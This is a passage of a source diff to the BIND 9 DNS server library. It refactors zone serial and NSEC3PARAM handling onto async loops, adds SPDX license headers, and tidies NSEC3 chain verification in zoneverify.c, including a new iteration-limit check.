 	ZONEDB_LOCK(&zone->dblock, isc_rwlocktype_read);
 	if (zone->db != NULL) {
-		zone_iattach(zone, &dummy);
-		isc_task_send(zone->task, &e);
+		zone_iattach(zone, &npe->zone);
+		isc_async_run(zone->loop, setnsec3param, npe);
 	} else {
-		ISC_LIST_APPEND(zone->setnsec3param_queue, e, ev_link);
-		e = NULL;
+		ISC_LIST_APPEND(zone->setnsec3param_queue, npe, link);
 	}
 	ZONEDB_UNLOCK(&zone->dblock, isc_rwlocktype_read);
 
 	result = ISC_R_SUCCESS;
 
 failure:
-	if (e != NULL) {
-		isc_event_free(&e);
-	}
 	UNLOCK_ZONE(zone);
 	return (result);
 }
@@ -21912,28 +23037,24 @@ dns_zone_getstatlevel(dns_zone_t *zone) {
 }
 
 static void
-setserial(isc_task_t *task, isc_event_t *event) {
+setserial(void *arg) {
 	uint32_t oldserial, desired;
-	const char *me = "setserial";
 	bool commit = false;
 	isc_result_t result;
 	dns_dbversion_t *oldver = NULL, *newver = NULL;
-	dns_zone_t *zone;
 	dns_db_t *db = NULL;
 	dns_diff_t diff;
-	struct ssevent *sse = (struct ssevent *)event;
+	struct setserial *sse = (struct setserial *)arg;
+	dns_zone_t *zone = sse->zone;
 	dns_update_log_t log = { update_log_cb, NULL };
 	dns_difftuple_t *oldtuple = NULL, *newtuple = NULL;
 
-	UNUSED(task);
-
-	zone = event->ev_arg;
 	INSIST(DNS_ZONE_VALID(zone));
 
 	ENTER;
 
 	if (zone->update_disabled) {
-		goto failure;
+		goto disabled;
 	}
 
 	desired = sse->serial;
@@ -21954,7 +23075,7 @@ setserial(isc_task_t *task, isc_event_t *event) {
 	if (result != ISC_R_SUCCESS) {
 		dns_zone_log(zone, ISC_LOG_ERROR,
 			     "setserial:dns_db_newversion -> %s",
-			     dns_result_totext(result));
+			     isc_result_totext(result));
 		goto failure;
 	}
 
@@ -22012,7 +23133,9 @@ setserial(isc_task_t *task, isc_event_t *event) {
 		dns_db_detach(&db);
 	}
 	dns_diff_clear(&diff);
-	isc_event_free(&event);
+
+disabled:
+	isc_mem_put(zone->mctx, sse, sizeof(*sse));
 	dns_zone_idetach(&zone);
 
 	INSIST(oldver == NULL);
@@ -22022,9 +23145,7 @@ setserial(isc_task_t *task, isc_event_t *event) {
 isc_result_t
 dns_zone_setserial(dns_zone_t *zone, uint32_t serial) {
 	isc_result_t result = ISC_R_SUCCESS;
-	dns_zone_t *dummy = NULL;
-	isc_event_t *e = NULL;
-	struct ssevent *sse;
+	struct setserial *sse = NULL;
 
 	REQUIRE(DNS_ZONE_VALID(zone));
 
@@ -22042,19 +23163,12 @@ dns_zone_setserial(dns_zone_t *zone, uint32_t serial) {
 		goto failure;
 	}
 
-	e = isc_event_allocate(zone->mctx, zone, DNS_EVENT_SETSERIAL, setserial,
-			       zone, sizeof(struct ssevent));
-
-	sse = (struct ssevent *)e;
-	sse->serial = serial;
-
-	zone_iattach(zone, &dummy);
-	isc_task_send(zone->task, &e);
+	sse = isc_mem_get(zone->mctx, sizeof(*sse));
+	*sse = (struct setserial){ .serial = serial };
+	zone_iattach(zone, &sse->zone);
+	isc_async_run(zone->loop, setserial, sse);
 
 failure:
-	if (e != NULL) {
-		isc_event_free(&e);
-	}
 	UNLOCK_ZONE(zone);
 	return (result);
 }
@@ -22080,8 +23194,6 @@ dns_zone_verifydb(dns_zone_t *zone, dns_db_t *db, dns_dbversion_t *ver) {
 	isc_result_t result;
 	dns_name_t *origin;
 
-	const char me[] = "dns_zone_verifydb";
-
 	REQUIRE(DNS_ZONE_VALID(zone));
 	REQUIRE(db != NULL);
 
@@ -22126,9 +23238,54 @@ dns_zone_verifydb(dns_zone_t *zone, dns_db_t *db, dns_dbversion_t *ver) {
 	return (result);
 }
 
-static inline dns_ttl_t
+static dns_ttl_t
 zone_nsecttl(dns_zone_t *zone) {
 	REQUIRE(DNS_ZONE_VALID(zone));
 
 	return (ISC_MIN(zone->minimum, zone->soattl));
 }
+
+void
+dns_zonemgr_set_tlsctx_cache(dns_zonemgr_t *zmgr,
+			     isc_tlsctx_cache_t *tlsctx_cache) {
+	REQUIRE(DNS_ZONEMGR_VALID(zmgr));
+	REQUIRE(tlsctx_cache != NULL);
+
+	RWLOCK(&zmgr->tlsctx_cache_rwlock, isc_rwlocktype_write);
+
+	if (zmgr->tlsctx_cache != NULL) {
+		isc_tlsctx_cache_detach(&zmgr->tlsctx_cache);
+	}
+
+	isc_tlsctx_cache_attach(tlsctx_cache, &zmgr->tlsctx_cache);
+
+	RWUNLOCK(&zmgr->tlsctx_cache_rwlock, isc_rwlocktype_write);
+}
+
+static void
+zmgr_tlsctx_attach(dns_zonemgr_t *zmgr, isc_tlsctx_cache_t **ptlsctx_cache) {
+	REQUIRE(DNS_ZONEMGR_VALID(zmgr));
+	REQUIRE(ptlsctx_cache != NULL && *ptlsctx_cache == NULL);
+
+	RWLOCK(&zmgr->tlsctx_cache_rwlock, isc_rwlocktype_read);
+
+	INSIST(zmgr->tlsctx_cache != NULL);
+	isc_tlsctx_cache_attach(zmgr->tlsctx_cache, ptlsctx_cache);
+
+	RWUNLOCK(&zmgr->tlsctx_cache_rwlock, isc_rwlocktype_read);
+}
+
+isc_mem_t *
+dns_zone_getmem(dns_zone_t *zone) {
+	return (zone->mctx);
+}
+
+unsigned int
+dns_zone_gettid(dns_zone_t *zone) {
+	return (zone->tid);
+}
+
+isc_loop_t *
+dns_zone_getloop(dns_zone_t *zone) {
+	return (zone->loop);
+}
diff --git a/lib/dns/zone_p.h b/lib/dns/zone_p.h
index 0c1c40d109..fcbd3711c2 100644
--- a/lib/dns/zone_p.h
+++ b/lib/dns/zone_p.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_ZONE_P_H
-#define DNS_ZONE_P_H
+#pragma once
 
 #include <stdbool.h>
 
@@ -38,8 +39,7 @@ dns__zone_updatesigs(dns_diff_t *diff, dns_db_t *db, dns_dbversion_t *version,
 		     dst_key_t *zone_keys[], unsigned int nkeys,
 		     dns_zone_t *zone, isc_stdtime_t inception,
 		     isc_stdtime_t expire, isc_stdtime_t keyxpire,
-		     isc_stdtime_t now, bool check_ksk, bool keyset_kskonly,
-		     dns__zonediff_t *zonediff);
+		     isc_stdtime_t now, dns__zonediff_t *zonediff);
 
 isc_result_t
 dns__zone_lookup_nsec3param(dns_zone_t *zone, dns_rdata_nsec3param_t *lookup,
@@ -47,5 +47,3 @@ dns__zone_lookup_nsec3param(dns_zone_t *zone, dns_rdata_nsec3param_t *lookup,
 			    unsigned char saltbuf[255], bool resalt);
 
 ISC_LANG_ENDDECLS
-
-#endif /* DNS_ZONE_P_H */
diff --git a/lib/dns/zonekey.c b/lib/dns/zonekey.c
index 7dfbde7f73..f86c2ca9f2 100644
--- a/lib/dns/zonekey.c
+++ b/lib/dns/zonekey.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -43,7 +45,8 @@ dns_zonekey_iszonekey(dns_rdata_t *keyrdata) {
 		iszonekey = false;
 	}
 	if (key.protocol != DNS_KEYPROTO_DNSSEC &&
-	    key.protocol != DNS_KEYPROTO_ANY) {
+	    key.protocol != DNS_KEYPROTO_ANY)
+	{
 		iszonekey = false;
 	}
 
diff --git a/lib/dns/zoneverify.c b/lib/dns/zoneverify.c
index 4ddb2430c5..684ab9984c 100644
--- a/lib/dns/zoneverify.c
+++ b/lib/dns/zoneverify.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -43,7 +45,6 @@
 #include <dns/rdatasetiter.h>
 #include <dns/rdatastruct.h>
 #include <dns/rdatatype.h>
-#include <dns/result.h>
 #include <dns/secalg.h>
 #include <dns/types.h>
 #include <dns/zone.h>
@@ -95,6 +96,15 @@ struct nsec3_chain_fixed {
 	 */
 };
 
+/*
+ * Helper function used to calculate length of variable-length
+ * data section in object pointed to by 'chain'.
+ */
+static size_t
+chain_length(struct nsec3_chain_fixed *chain) {
+	return (chain->salt_length + 2 * chain->next_length);
+}
+
 /*%
  * Log a zone verification error described by 'fmt' and the variable arguments
  * following it.  Either use dns_zone_logv() or print to stderr, depending on
@@ -297,7 +307,7 @@ check_no_rrsig(const vctx_t *vctx, const dns_rdataset_t *rdataset,
 	isc_result_t result;
 
 	dns_rdataset_init(&sigrdataset);
-	result = dns_db_allrdatasets(vctx->db, node, vctx->ver, 0, &rdsiter);
+	result = dns_db_allrdatasets(vctx->db, node, vctx->ver, 0, 0, &rdsiter);
 	if (result != ISC_R_SUCCESS) {
 		zoneverify_log_error(vctx, "dns_db_allrdatasets(): %s",
 				     isc_result_totext(result));
@@ -310,18 +320,18 @@ check_no_rrsig(const vctx_t *vctx, const dns_rdataset_t *rdataset,
 		if (sigrdataset.type == dns_rdatatype_rrsig &&
 		    sigrdataset.covers == rdataset->type)
 		{
+			dns_name_format(name, namebuf, sizeof(namebuf));
+			dns_rdatatype_format(rdataset->type, typebuf,
+					     sizeof(typebuf));
+			zoneverify_log_error(
+				vctx,
+				"Warning: Found unexpected signatures "
+				"for %s/%s",
+				namebuf, typebuf);
 			break;
 		}
 		dns_rdataset_disassociate(&sigrdataset);
 	}
-	if (result == ISC_R_SUCCESS) {
-		dns_name_format(name, namebuf, sizeof(namebuf));
-		dns_rdatatype_format(rdataset->type, typebuf, sizeof(typebuf));
-		zoneverify_log_error(vctx,
-				     "Warning: Found unexpected signatures "
-				     "for %s/%s",
-				     namebuf, typebuf);
-	}
 	if (dns_rdataset_isassociated(&sigrdataset)) {
 		dns_rdataset_disassociate(&sigrdataset);
 	}
@@ -333,8 +343,6 @@ check_no_rrsig(const vctx_t *vctx, const dns_rdataset_t *rdataset,
 static bool
 chain_compare(void *arg1, void *arg2) {
 	struct nsec3_chain_fixed *e1 = arg1, *e2 = arg2;
-	size_t len;
-
 	/*
 	 * Do each element in turn to get a stable sort.
 	 */
@@ -362,8 +370,7 @@ chain_compare(void *arg1, void *arg2) {
 	if (e1->next_length > e2->next_length) {
 		return (false);
 	}
-	len = e1->salt_length + 2 * e1->next_length;
-	if (memcmp(e1 + 1, e2 + 1, len) < 0) {
+	if (memcmp(e1 + 1, e2 + 1, chain_length(e1)) < 0) {
 		return (true);
 	}
 	return (false);
@@ -371,9 +378,7 @@ chain_compare(void *arg1, void *arg2) {
 
 static bool
 chain_equal(const struct nsec3_chain_fixed *e1,
-	    const struct nsec3_chain_fixed *e2) {
-	size_t len;
-
+	    const struct nsec3_chain_fixed *e2, size_t data_length) {
 	if (e1->hash != e2->hash) {
 		return (false);
 	}
@@ -386,55 +391,44 @@ chain_equal(const struct nsec3_chain_fixed *e1,
 	if (e1->next_length != e2->next_length) {
 		return (false);
 	}
-	len = e1->salt_length + 2 * e1->next_length;
-	if (memcmp(e1 + 1, e2 + 1, len) != 0) {
-		return (false);
-	}
-	return (true);
+
+	return (memcmp(e1 + 1, e2 + 1, data_length) == 0);
 }
 
-static isc_result_t
+static void
 record_nsec3(const vctx_t *vctx, const unsigned char *rawhash,
 	     const dns_rdata_nsec3_t *nsec3, isc_heap_t *chains) {
-	struct nsec3_chain_fixed *element;
+	struct nsec3_chain_fixed *element = NULL;
+	unsigned char *cp = NULL;
 	size_t len;
-	unsigned char *cp;
-	isc_result_t result;
 
 	len = sizeof(*element) + nsec3->next_length * 2 + nsec3->salt_length;
 
 	element = isc_mem_get(vctx->mctx, len);
-	memset(element, 0, len);
-	element->hash = nsec3->hash;
-	element->salt_length = nsec3->salt_length;
-	element->next_length = nsec3->next_length;
-	element->iterations = nsec3->iterations;
+	*element = (struct nsec3_chain_fixed){
+		.hash = nsec3->hash,
+		.salt_length = nsec3->salt_length,
+		.next_length = nsec3->next_length,
+		.iterations = nsec3->iterations,
+	};
 	cp = (unsigned char *)(element + 1);
 	memmove(cp, nsec3->salt, nsec3->salt_length);
 	cp += nsec3->salt_length;
 	memmove(cp, rawhash, nsec3->next_length);
 	cp += nsec3->next_length;
 	memmove(cp, nsec3->next, nsec3->next_length);
-	result = isc_heap_insert(chains, element);
-	if (result != ISC_R_SUCCESS) {
-		zoneverify_log_error(vctx, "isc_heap_insert failed: %s",
-				     isc_result_totext(result));
-		isc_mem_put(vctx->mctx, element, len);
-	}
-	return (result);
+	isc_heap_insert(chains, element);
 }
 
+/*
+ * Check whether any NSEC3 within 'rdataset' matches the parameters in
+ * 'nsec3param'.
+ */
 static isc_result_t
-match_nsec3(const vctx_t *vctx, const dns_name_t *name,
-	    const dns_rdata_nsec3param_t *nsec3param, dns_rdataset_t *rdataset,
-	    const unsigned char types[8192], unsigned int maxtype,
-	    const unsigned char *rawhash, size_t rhsize,
-	    isc_result_t *vresult) {
-	unsigned char cbm[8244];
-	char namebuf[DNS_NAME_FORMATSIZE];
-	dns_rdata_nsec3_t nsec3;
+find_nsec3_match(const dns_rdata_nsec3param_t *nsec3param,
+		 dns_rdataset_t *rdataset, size_t rhsize,
+		 dns_rdata_nsec3_t *nsec3_match) {
 	isc_result_t result;
-	unsigned int len;
 
 	/*
 	 * Find matching NSEC3 record.
@@ -444,18 +438,35 @@ match_nsec3(const vctx_t *vctx, const dns_name_t *name,
 	{
 		dns_rdata_t rdata = DNS_RDATA_INIT;
 		dns_rdataset_current(rdataset, &rdata);
-		result = dns_rdata_tostruct(&rdata, &nsec3, NULL);
+		result = dns_rdata_tostruct(&rdata, nsec3_match, NULL);
 		RUNTIME_CHECK(result == ISC_R_SUCCESS);
-		if (nsec3.hash == nsec3param->hash &&
-		    nsec3.next_length == rhsize &&
-		    nsec3.iterations == nsec3param->iterations &&
-		    nsec3.salt_length == nsec3param->salt_length &&
-		    memcmp(nsec3.salt, nsec3param->salt,
+		if (nsec3_match->hash == nsec3param->hash &&
+		    nsec3_match->next_length == rhsize &&
+		    nsec3_match->iterations == nsec3param->iterations &&
+		    nsec3_match->salt_length == nsec3param->salt_length &&
+		    memcmp(nsec3_match->salt, nsec3param->salt,
 			   nsec3param->salt_length) == 0)
 		{
-			break;
+			return (ISC_R_SUCCESS);
 		}
 	}
+
+	return (result);
+}
+
+static isc_result_t
+match_nsec3(const vctx_t *vctx, const dns_name_t *name,
+	    const dns_rdata_nsec3param_t *nsec3param, dns_rdataset_t *rdataset,
+	    const unsigned char types[8192], unsigned int maxtype,
+	    const unsigned char *rawhash, size_t rhsize,
+	    isc_result_t *vresult) {
+	unsigned char cbm[8244];
+	char namebuf[DNS_NAME_FORMATSIZE];
+	dns_rdata_nsec3_t nsec3;
+	isc_result_t result;
+	unsigned int len;
+
+	result = find_nsec3_match(nsec3param, rdataset, rhsize, &nsec3);
 	if (result != ISC_R_SUCCESS) {
 		dns_name_format(name, namebuf, sizeof(namebuf));
 		zoneverify_log_error(vctx, "Missing NSEC3 record for %s",
@@ -481,12 +492,7 @@ match_nsec3(const vctx_t *vctx, const dns_name_t *name,
 	/*
 	 * Record chain.
 	 */
-	result = record_nsec3(vctx, rawhash, &nsec3, vctx->expected_chains);
-	if (result != ISC_R_SUCCESS) {
-		zoneverify_log_error(vctx, "record_nsec3(): %s",
-				     isc_result_totext(result));
-		return (result);
-	}
+	record_nsec3(vctx, rawhash, &nsec3, vctx->expected_chains);
 
 	/*
 	 * Make sure there is only one NSEC3 record with this set of
@@ -590,6 +596,7 @@ record_found(const vctx_t *vctx, const dns_name_t *name, dns_dbnode_t *node,
 		if (nsec3.next_length != isc_buffer_usedlength(&b)) {
 			continue;
 		}
+
 		/*
 		 * We only care about NSEC3 records that match a NSEC3PARAM
 		 * record.
@@ -601,12 +608,7 @@ record_found(const vctx_t *vctx, const dns_name_t *name, dns_dbnode_t *node,
 		/*
 		 * Record chain.
 		 */
-		result = record_nsec3(vctx, owner, &nsec3, vctx->found_chains);
-		if (result != ISC_R_SUCCESS) {
-			zoneverify_log_error(vctx, "record_nsec3(): %s",
-					     isc_result_totext(result));
-			goto cleanup;
-		}
+		record_nsec3(vctx, owner, &nsec3, vctx->found_chains);
 	}
 	result = ISC_R_SUCCESS;
 
@@ -616,11 +618,11 @@ record_found(const vctx_t *vctx, const dns_name_t *name, dns_dbnode_t *node,
 }
 
 static isc_result_t
-isoptout(const vctx_t *vctx, const dns_rdata_t *nsec3rdata, bool *optout) {
+isoptout(const vctx_t *vctx, const dns_rdata_nsec3param_t *nsec3param,
+	 bool *optout) {
 	dns_rdataset_t rdataset;
 	dns_rdata_t rdata = DNS_RDATA_INIT;
 	dns_rdata_nsec3_t nsec3;
-	dns_rdata_nsec3param_t nsec3param;
 	dns_fixedname_t fixed;
 	dns_name_t *hashname;
 	isc_result_t result;
@@ -628,14 +630,11 @@ isoptout(const vctx_t *vctx, const dns_rdata_t *nsec3rdata, bool *optout) {
 	unsigned char rawhash[NSEC3_MAX_HASH_LENGTH];
 	size_t rhsize = sizeof(rawhash);
 
-	result = dns_rdata_tostruct(nsec3rdata, &nsec3param, NULL);
-	RUNTIME_CHECK(result == ISC_R_SUCCESS);
-
 	dns_fixedname_init(&fixed);
 	result = dns_nsec3_hashname(&fixed, rawhash, &rhsize, vctx->origin,
-				    vctx->origin, nsec3param.hash,
-				    nsec3param.iterations, nsec3param.salt,
-				    nsec3param.salt_length);
+				    vctx->origin, nsec3param->hash,
+				    nsec3param->iterations, nsec3param->salt,
+				    nsec3param->salt_length);
 	if (result != ISC_R_SUCCESS) {
 		zoneverify_log_error(vctx, "dns_nsec3_hashname(): %s",
 				     isc_result_totext(result));
@@ -708,7 +707,14 @@ verifynsec3(const vctx_t *vctx, const dns_name_t *name,
 		return (ISC_R_SUCCESS);
 	}
 
-	result = isoptout(vctx, rdata, &optout);
+	if (nsec3param.iterations > DNS_NSEC3_MAXITERATIONS) {
+		result = DNS_R_NSEC3ITERRANGE;
+		zoneverify_log_error(vctx, "verifynsec3: %s",
+				     isc_result_totext(result));
+		return (result);
+	}
+
+	result = isoptout(vctx, &nsec3param, &optout);
 	if (result != ISC_R_SUCCESS) {
 		return (result);
 	}
@@ -802,17 +808,16 @@ verifynsec3s(const vctx_t *vctx, const dns_name_t *name,
 static isc_result_t
 verifyset(vctx_t *vctx, dns_rdataset_t *rdataset, const dns_name_t *name,
 	  dns_dbnode_t *node, dst_key_t **dstkeys, size_t nkeys) {
-	unsigned char set_algorithms[256];
+	unsigned char set_algorithms[256] = { 0 };
 	char namebuf[DNS_NAME_FORMATSIZE];
 	char algbuf[DNS_SECALG_FORMATSIZE];
 	char typebuf[DNS_RDATATYPE_FORMATSIZE];
 	dns_rdataset_t sigrdataset;
 	dns_rdatasetiter_t *rdsiter = NULL;
 	isc_result_t result;
-	int i;
 
 	dns_rdataset_init(&sigrdataset);
-	result = dns_db_allrdatasets(vctx->db, node, vctx->ver, 0, &rdsiter);
+	result = dns_db_allrdatasets(vctx->db, node, vctx->ver, 0, 0, &rdsiter);
 	if (result != ISC_R_SUCCESS) {
 		zoneverify_log_error(vctx, "dns_db_allrdatasets(): %s",
 				     isc_result_totext(result));
@@ -834,7 +839,7 @@ verifyset(vctx_t *vctx, dns_rdataset_t *rdataset, const dns_name_t *name,
 		dns_rdatatype_format(rdataset->type, typebuf, sizeof(typebuf));
 		zoneverify_log_error(vctx, "No signatures for %s/%s", namebuf,
 				     typebuf);
-		for (i = 0; i < 256; i++) {
+		for (size_t i = 0; i < ARRAY_SIZE(set_algorithms); i++) {
 			if (vctx->act_algorithms[i] != 0) {
 				vctx->bad_algorithms[i] = 1;
 			}
@@ -843,7 +848,6 @@ verifyset(vctx_t *vctx, dns_rdataset_t *rdataset, const dns_name_t *name,
 		goto done;
 	}
 
-	memset(set_algorithms, 0, sizeof(set_algorithms));
 	for (result = dns_rdataset_first(&sigrdataset); result == ISC_R_SUCCESS;
 	     result = dns_rdataset_next(&sigrdataset))
 	{
@@ -877,12 +881,14 @@ verifyset(vctx_t *vctx, dns_rdataset_t *rdataset, const dns_name_t *name,
 	result = ISC_R_SUCCESS;
 
 	if (memcmp(set_algorithms, vctx->act_algorithms,
-		   sizeof(set_algorithms))) {
+		   sizeof(set_algorithms)) != 0)
+	{
 		dns_name_format(name, namebuf, sizeof(namebuf));
 		dns_rdatatype_format(rdataset->type, typebuf, sizeof(typebuf));
-		for (i = 0; i < 256; i++) {
+		for (size_t i = 0; i < ARRAY_SIZE(set_algorithms); i++) {
 			if ((vctx->act_algorithms[i] != 0) &&
-			    (set_algorithms[i] == 0)) {
+			    (set_algorithms[i] == 0))
+			{
 				dns_secalg_format(i, algbuf, sizeof(algbuf));
 				zoneverify_log_error(vctx,
 						     "No correct %s signature "
@@ -907,7 +913,7 @@ verifynode(vctx_t *vctx, const dns_name_t *name, dns_dbnode_t *node,
 	   bool delegation, dst_key_t **dstkeys, size_t nkeys,
 	   dns_rdataset_t *nsecset, dns_rdataset_t *nsec3paramset,
 	   const dns_name_t *nextname, isc_result_t *vresult) {
-	unsigned char types[8192];
+	unsigned char types[8192] = { 0 };
 	unsigned int maxtype = 0;
 	dns_rdataset_t rdataset;
 	dns_rdatasetiter_t *rdsiter = NULL;
@@ -915,13 +921,13 @@ verifynode(vctx_t *vctx, const dns_name_t *name, dns_dbnode_t *node,
 
 	REQUIRE(vresult != NULL || (nsecset == NULL && nsec3paramset == NULL));
 
-	memset(types, 0, sizeof(types));
-	result = dns_db_allrdatasets(vctx->db, node, vctx->ver, 0, &rdsiter);
+	result = dns_db_allrdatasets(vctx->db, node, vctx->ver, 0, 0, &rdsiter);
 	if (result != ISC_R_SUCCESS) {
 		zoneverify_log_error(vctx, "dns_db_allrdatasets(): %s",
 				     isc_result_totext(result));
 		return (result);
 	}
+
 	result = dns_rdatasetiter_first(rdsiter);
 	dns_rdataset_init(&rdataset);
 	while (result == ISC_R_SUCCESS) {
@@ -1003,11 +1009,11 @@ verifynode(vctx_t *vctx, const dns_name_t *name, dns_dbnode_t *node,
 }
 
 static isc_result_t
-is_empty(const vctx_t *vctx, dns_dbnode_t *node, bool *empty) {
+is_empty(const vctx_t *vctx, dns_dbnode_t *node) {
 	dns_rdatasetiter_t *rdsiter = NULL;
 	isc_result_t result;
 
-	result = dns_db_allrdatasets(vctx->db, node, vctx->ver, 0, &rdsiter);
+	result = dns_db_allrdatasets(vctx->db, node, vctx->ver, 0, 0, &rdsiter);
 	if (result != ISC_R_SUCCESS) {
 		zoneverify_log_error(vctx, "dns_db_allrdatasets(): %s",
 				     isc_result_totext(result));
@@ -1016,9 +1022,7 @@ is_empty(const vctx_t *vctx, dns_dbnode_t *node, bool *empty) {
 	result = dns_rdatasetiter_first(rdsiter);
 	dns_rdatasetiter_destroy(&rdsiter);
 
-	*empty = (result == ISC_R_NOMORE);
-
-	return (ISC_R_SUCCESS);
+	return (result);
 }
 
 static isc_result_t
@@ -1045,19 +1049,6 @@ check_no_nsec(const vctx_t *vctx, const dns_name_t *name, dns_dbnode_t *node) {
 	return (nsec_exists ? ISC_R_FAILURE : ISC_R_SUCCESS);
 }
 
-static bool
-newchain(const struct nsec3_chain_fixed *first,
-	 const struct nsec3_chain_fixed *e) {
-	if (first->hash != e->hash || first->iterations != e->iterations ||
-	    first->salt_length != e->salt_length ||
-	    first->next_length != e->next_length ||
-	    memcmp(first + 1, e + 1, first->salt_length) != 0)
-	{
-		return (true);
-	}
-	return (false);
-}
-
 static void
 free_element(isc_mem_t *mctx, struct nsec3_chain_fixed *e) {
 	size_t len;
@@ -1090,21 +1081,21 @@ _checknext(const vctx_t *vctx, const struct nsec3_chain_fixed *first,
 		return (true);
 	}
 
-	DE_CONST(d1 - first->next_length, sr.base);
+	sr.base = UNCONST(d1 - first->next_length);
 	sr.length = first->next_length;
 	isc_buffer_init(&b, buf, sizeof(buf));
 	isc_base32hex_totext(&sr, 1, "", &b);
 	zoneverify_log_error(vctx, "Break in NSEC3 chain at: %.*s",
 			     (int)isc_buffer_usedlength(&b), buf);
 
-	DE_CONST(d1, sr.base);
+	sr.base = UNCONST(d1);
 	sr.length = first->next_length;
 	isc_buffer_init(&b, buf, sizeof(buf));
 	isc_base32hex_totext(&sr, 1, "", &b);
 	zoneverify_log_error(vctx, "Expected: %.*s",
 			     (int)isc_buffer_usedlength(&b), buf);
 
-	DE_CONST(d2, sr.base);
+	sr.base = UNCONST(d2);
 	sr.length = first->next_length;
 	isc_buffer_init(&b, buf, sizeof(buf));
 	isc_base32hex_totext(&sr, 1, "", &b);
@@ -1114,7 +1105,7 @@ _checknext(const vctx_t *vctx, const struct nsec3_chain_fixed *first,
 	return (false);
 }
 
-static inline bool
+static bool
 checknext(isc_mem_t *mctx, const vctx_t *vctx,
 	  const struct nsec3_chain_fixed *first, struct nsec3_chain_fixed *prev,
 	  const struct nsec3_chain_fixed *cur) {
@@ -1127,7 +1118,7 @@ checknext(isc_mem_t *mctx, const vctx_t *vctx,
 	return (result);
 }
 
-static inline bool
+static bool
 checklast(isc_mem_t *mctx, const vctx_t *vctx, struct nsec3_chain_fixed *first,
 	  struct nsec3_chain_fixed *prev) {
 	bool result = _checknext(vctx, prev, first);
@@ -1156,7 +1147,7 @@ verify_nsec3_chains(const vctx_t *vctx, isc_mem_t *mctx) {
 			/*
 			 * Check that they match.
 			 */
-			if (chain_equal(e, f)) {
+			if (chain_equal(e, f, chain_length(e))) {
 				free_element(mctx, f);
 				f = NULL;
 			} else {
@@ -1179,7 +1170,9 @@ verify_nsec3_chains(const vctx_t *vctx, isc_mem_t *mctx) {
 						isc_heap_delete(
 							vctx->found_chains, 1);
 					}
-					if (f != NULL && chain_equal(e, f)) {
+					if (f != NULL &&
+					    chain_equal(e, f, chain_length(e)))
+					{
 						free_element(mctx, f);
 						f = NULL;
 						break;
@@ -1195,7 +1188,7 @@ verify_nsec3_chains(const vctx_t *vctx, isc_mem_t *mctx) {
 
 		if (first == NULL) {
 			prev = first = e;
-		} else if (newchain(first, e)) {
+		} else if (!chain_equal(first, e, first->salt_length)) {
 			if (!checklast(mctx, vctx, first, prev)) {
 				result = ISC_R_FAILURE;
 			}
@@ -1253,13 +1246,15 @@ verifyemptynodes(const vctx_t *vctx, const dns_name_t *name,
 	nlabels = dns_name_countlabels(name);
 
 	if (reln == dns_namereln_commonancestor ||
-	    reln == dns_namereln_contains) {
+	    reln == dns_namereln_contains)
+	{
 		dns_name_init(&suffix, NULL);
 		for (i = labels + 1; i < nlabels; i++) {
 			dns_name_getlabelsequence(name, nlabels - i, i,
 						  &suffix);
 			if (nsec3paramset != NULL &&
-			    dns_rdataset_isassociated(nsec3paramset)) {
+			    dns_rdataset_isassociated(nsec3paramset))
+			{
 				result = verifynsec3s(
 					vctx, &suffix, nsec3paramset,
 					isdelegation, true, NULL, 0, &tvresult);
@@ -1276,11 +1271,9 @@ verifyemptynodes(const vctx_t *vctx, const dns_name_t *name,
 	return (ISC_R_SUCCESS);
 }
 
-static isc_result_t
+static void
 vctx_init(vctx_t *vctx, isc_mem_t *mctx, dns_zone_t *zone, dns_db_t *db,
 	  dns_dbversion_t *ver, dns_name_t *origin, dns_keytable_t *secroots) {
-	isc_result_t result;
-
 	memset(vctx, 0, sizeof(*vctx));
 
 	vctx->mctx = mctx;
@@ -1302,21 +1295,11 @@ vctx_init(vctx_t *vctx, isc_mem_t *mctx, dns_zone_t *zone, dns_db_t *db,
 	dns_rdataset_init(&vctx->nsec3paramsigs);
 
 	vctx->expected_chains = NULL;
-	result = isc_heap_create(mctx, chain_compare, NULL, 1024,
-				 &vctx->expected_chains);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
+	isc_heap_create(mctx, chain_compare, NULL, 1024,
+			&vctx->expected_chains);
 
 	vctx->found_chains = NULL;
-	result = isc_heap_create(mctx, chain_compare, NULL, 1024,
-				 &vctx->found_chains);
-	if (result != ISC_R_SUCCESS) {
-		isc_heap_destroy(&vctx->expected_chains);
-		return (result);
-	}
-
-	return (result);
+	isc_heap_create(mctx, chain_compare, NULL, 1024, &vctx->found_chains);
 }
 
 static void
@@ -1479,18 +1462,18 @@ check_dnskey_sigs(vctx_t *vctx, const dns_rdata_dnskey_t *dnskey,
 		    dns_dnssec_signs(keyrdata, vctx->origin, &vctx->soaset,
 				     &vctx->soasigs, false, vctx->mctx))
 		{
-			if (active_keys[dnskey->algorithm] != 255) {
+			if (active_keys[dnskey->algorithm] != DNS_KEYALG_MAX) {
 				active_keys[dnskey->algorithm]++;
 			}
 		} else {
-			if (standby_keys[dnskey->algorithm] != 255) {
+			if (standby_keys[dnskey->algorithm] != DNS_KEYALG_MAX) {
 				standby_keys[dnskey->algorithm]++;
 			}
 		}
 		return;
 	}
 
-	if (active_keys[dnskey->algorithm] != 255) {
+	if (active_keys[dnskey->algorithm] != DNS_KEYALG_MAX) {
 		active_keys[dnskey->algorithm]++;
 	}
 
@@ -1545,7 +1528,8 @@ check_dnskey_sigs(vctx_t *vctx, const dns_rdata_dnskey_t *dnskey,
 			RUNTIME_CHECK(result == ISC_R_SUCCESS);
 
 			if (ds.key_tag != dst_key_id(key) ||
